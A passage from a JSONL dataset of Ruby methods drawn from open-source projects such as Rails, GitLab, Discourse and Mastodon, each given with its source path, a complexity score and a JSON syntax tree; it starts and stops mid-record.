end","complexity_score":31.7,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"customField(\\\\d+)$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"work_package_custom_field\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"nth_ref\",\"children\":[1]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"sym\",\"children\":[\"startDate\"]},{\"type\":\"sym\",\"children\":[\"dueDate\"]},{\"type\":\"sym\",\"children\":[\"combinedDate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateEditField\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"container\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_milestone\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"milestone?\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"estimatedTime\"]},{\"type\":\"sym\",\"children\":[\"remainingTime\"]},{\"type\":\"sym\",\"children\":[\"percentageDone\"]},{\"type\":\"sym\",\"children\":[\"statusWithinProgressModal\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProgressEditField\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"container\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create_form\"]},{\"type\":\"send\",\"children\":[null,\"create_page?\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TextEditorField\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"container\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_page?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EditField\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"container\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create_form\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackageStatusField\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"container\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EditField\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"container\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create_form\"]},{\"type\":\"send\",\"children\":[null,\"create_page?\"]}]}]}]}]}]}","id":"3f0b62d3-423a-45c2-a696-4dda5ca45bca"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/plugin_test_runner_test.rb","start_line":62,"raw_source":"def test_multiple_line_filters\n create_test_file \"account\"\n create_test_file \"post\"\n\n run_test_command(\"test/account_test.rb:4 test/post_test.rb:4\").tap do |output|\n assert_match \"AccountTest\", output\n assert_match \"PostTest\", output\n end\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiple_line_filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_test_file\",{\"type\":\"str\",\"children\":[\"account\"]}]},{\"type\":\"send\",\"children\":[null,\"create_test_file\",{\"type\":\"str\",\"children\":[\"post\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_test_command\",{\"type\":\"str\",\"children\":[\"test/account_test.rb:4 test/post_test.rb:4\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"AccountTest\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"PostTest\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}]}]}","id":"242b5507-7ac8-48a7-89bc-fb3c0a681e8b"} {"repo_name":"rack","file_path":"./repos/rack/lib/rack/response.rb","start_line":359,"raw_source":"def append(chunk)\n chunk = chunk.dup unless chunk.frozen?\n @body << chunk\n\n if @length\n @length += chunk.bytesize\n elsif @buffered\n @length = chunk.bytesize\n end\n\n return chunk\n end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"append\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"frozen?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"chunk\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"dup\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@length\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@length\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"bytesize\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffered\"]},{\"type\":\"ivasgn\",\"children\":[\"@length\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"bytesize\"]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]}]}]}]}","id":"62e0de59-c496-4c47-afad-61c7e8db5cb5"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/annotation_comment.rb","start_line":17,"raw_source":"def annotation?\n keyword_appearance? && !just_keyword_of_sentence?\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"annotation?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"keyword_appearance?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"just_keyword_of_sentence?\"]},\"!\"]}]}]}","id":"6cf3256a-8043-4886-9db9-9c763622d72f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/fast_quarantine.rb","start_line":43,"raw_source":"def fetch_metadata_from_ancestors(example, attribute)\n metadata = [example.metadata[attribute]]\n example_group = example.metadata[:example_group]\n\n loop do\n break if example_group.nil?\n\n metadata << example_group[attribute]\n example_group = example_group[:parent_example_group]\n end\n\n metadata\n end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_metadata_from_ancestors\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"metadata\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example\"]},\"metadata\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"example_group\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example\"]},\"metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"example_group\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example_group\"]},\"nil?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example_group\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"example_group\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example_group\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_example_group\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"metadata\"]}]}]}","id":"33cee8e3-c904-443e-8280-b98e43c7f8d1"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/email/receiver.rb","start_line":1089,"raw_source":"def process_forwarded_email(destination, user)\n user ||= stage_from_user\n case SiteSetting.forwarded_emails_behaviour\n when \"create_replies\"\n forwarded_email_create_replies(destination, user)\n when \"quote\"\n forwarded_email_quote_forwarded(destination, user)\n else\n false\n end\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_forwarded_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"destination\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"stage_from_user\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"forwarded_emails_behaviour\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"create_replies\"]},{\"type\":\"send\",\"children\":[null,\"forwarded_email_create_replies\",{\"type\":\"lvar\",\"children\":[\"destination\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"quote\"]},{\"type\":\"send\",\"children\":[null,\"forwarded_email_quote_forwarded\",{\"type\":\"lvar\",\"children\":[\"destination\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"7cfd04e8-91a0-4be4-a05e-7dc2cc735016"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/line_item.rb","start_line":80,"raw_source":"def copy_tax_category\n self.tax_category = variant.tax_category if variant\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_tax_category\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"variant\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tax_category=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"variant\"]},\"tax_category\"]}]},null]}]}","id":"2566c039-a45d-4c5b-b76c-81be10935106"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/base_service.rb","start_line":227,"raw_source":"def merge_request_metrics_service(merge_request)\n MergeRequestMetricsService.new(merge_request.metrics)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_request_metrics_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequestMetricsService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"metrics\"]}]}]}","id":"1ebe20c6-a9ed-4359-9daf-c16c9d47d814"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_queue.rb","start_line":211,"raw_source":"def self.submit_job(options)\n service = options.delete(:service) || \"generic\"\n resource = options.delete(:affinity)\n case service\n when \"automate\"\n # options[:queue_name] = \"generic\"\n options[:role] = service\n when \"ems_inventory\"\n options[:queue_name] = resource.queue_name_for_ems_refresh\n options[:role] = service\n options[:zone] = resource.my_zone\n when \"ems_operations\"\n options[:role] = service\n options[:zone] = resource.try(:my_zone) || MiqServer.my_zone\n options[:queue_name] = resource.try(:queue_name_for_ems_operations) || \"generic\"\n when \"event\"\n options[:queue_name] = \"ems\"\n options[:role] = service\n when \"generic\"\n raise ArgumentError, \"generic job should have no resource\" if resource\n # TODO: can we transition to zone = nil\n when \"notifier\"\n options[:role] = service\n when \"reporting\"\n options[:queue_name] = queue_name_for_priority_service(service, options[:priority])\n options[:role] = service\n when \"smartproxy\"\n options[:queue_name] = \"smartproxy\"\n options[:role] = \"smartproxy\"\n when \"smartstate\"\n options[:role] = service\n options[:zone] = resource.try(:my_zone) || MiqServer.my_zone\n end\n\n # Note, options[:zone] is set in 'put' via 'determine_queue_zone' and handles setting\n # a nil (any) zone for regional roles. Therefore, regional roles don't need to set zone here.\n put(options)\n end","complexity_score":53.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"submit_job\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"str\",\"children\":[\"generic\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resource\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"affinity\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"automate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"service\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ems_inventory\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"queue_name_for_ems_refresh\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"my_zone\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ems_operations\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"try\",{\"type\":\"sym\",\"children\":[\"my_zone\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"my_zone\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"try\",{\"type\":\"sym\",\"children\":[\"queue_name_for_ems_operations\"]}]},{\"type\":\"str\",\"children\":[\"generic\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"event\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"str\",\"children\":[\"ems\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"service\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"generic\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"generic job should have no resource\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"notifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"service\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"reporting\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"send\",\"children\":[null,\"queue_name_for_priority_service\",{\"type\":\"lvar\",\"children\":[\"service\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"priority\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"service\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"smartproxy\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"str\",\"children\":[\"smartproxy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"smartproxy\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"smartstate\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"try\",{\"type\":\"sym\",\"children\":[\"my_zone\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"my_zone\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"put\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"e1497a3f-5671-4c69-aa78-bb0d2b5a1083"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/google_translate/detect_language_service.rb","start_line":5,"raw_source":"def perform\n return unless valid_message?\n return if conversation.additional_attributes['conversation_language'].present?\n\n text = message.content[0...1500]\n response = client.detect_language(\n content: text,\n parent: \"projects/#{hook.settings['project_id']}\"\n )\n\n update_conversation(response)\n end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_message?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation\"]},\"additional_attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"conversation_language\"]}]},\"present?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"content\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1500]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"detect_language\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hook\"]},\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"project_id\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_conversation\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"5f4f4677-3ebf-4098-90a7-bb8d873f2076"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/concerns/mutations/resolves_resource_parent.rb","start_line":30,"raw_source":"def authorized_resource_parent_find!(args)\n authorized_find!(project_path: args.delete(:project_path),\n group_path: args.delete(:group_path))\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized_resource_parent_find!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"project_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"group_path\"]}]}]}]}]}]}","id":"2d7248a5-9d0a-4380-b6a9-afffe8c0e556"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/provider/telegram/telegram_provider.rb","start_line":36,"raw_source":"def self.do_api_request(methodName, message)\n http = FinalDestination::HTTP.new(\"api.telegram.org\", 443)\n http.use_ssl = true\n\n access_token = SiteSetting.chat_integration_telegram_access_token\n\n uri = URI(\"https://api.telegram.org/bot#{access_token}/#{methodName}\")\n\n req = Net::HTTP::Post.new(uri, \"Content-Type\" => \"application/json\")\n req.body = message.to_json\n response = http.request(req)\n\n responseData = JSON.parse(response.body)\n\n responseData\n end","complexity_score":16.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"do_api_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"methodName\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"http\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FinalDestination\"]},\"HTTP\"]},\"new\",{\"type\":\"str\",\"children\":[\"api.telegram.org\"]},{\"type\":\"int\",\"children\":[443]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"use_ssl=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"access_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"chat_integration_telegram_access_token\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://api.telegram.org/bot\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_token\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methodName\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"Post\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"body=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"to_json\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"request\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"responseData\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]}]},{\"type\":\"lvar\",\"children\":[\"responseData\"]}]}]}","id":"4ba231f7-63c1-4292-9e80-a342759bd20c"} {"repo_name":"mastodon","file_path":"./repos/mastodon/spec/support/streaming_client.rb","start_line":158,"raw_source":"def wait_for(event = nil)\n @connection.wait_for_event(event)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"event\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"wait_for_event\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}","id":"955e959e-f636-4485-a453-608fd5108207"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250305085026_add_foreign_key_to_project_requirement_statuses_requirement_id.rb","start_line":13,"raw_source":"def down\n with_lock_retries do\n remove_foreign_key :project_requirement_compliance_statuses, column: :compliance_requirement_id\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"project_requirement_compliance_statuses\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"compliance_requirement_id\"]}]}]}]}]}]}","id":"0a2886f8-3b8a-4fe3-b8f3-88b769aded9c"} {"repo_name":"puma","file_path":"./repos/puma/lib/puma/dsl.rb","start_line":1420,"raw_source":"def process_hook(options_key, key, block, meth)\n raise ArgumentError, \"expected #{meth} to be given a block\" unless block\n\n @options[options_key] ||= []\n if ON_WORKER_KEY.include? key.class\n @options[options_key] << [block, key.to_sym]\n elsif key.nil?\n @options[options_key] << block\n else\n raise \"'#{meth}' key must be String or Symbol\"\n end\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_hook\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options_key\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"block\"]},{\"type\":\"arg\",\"children\":[\"meth\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"expected 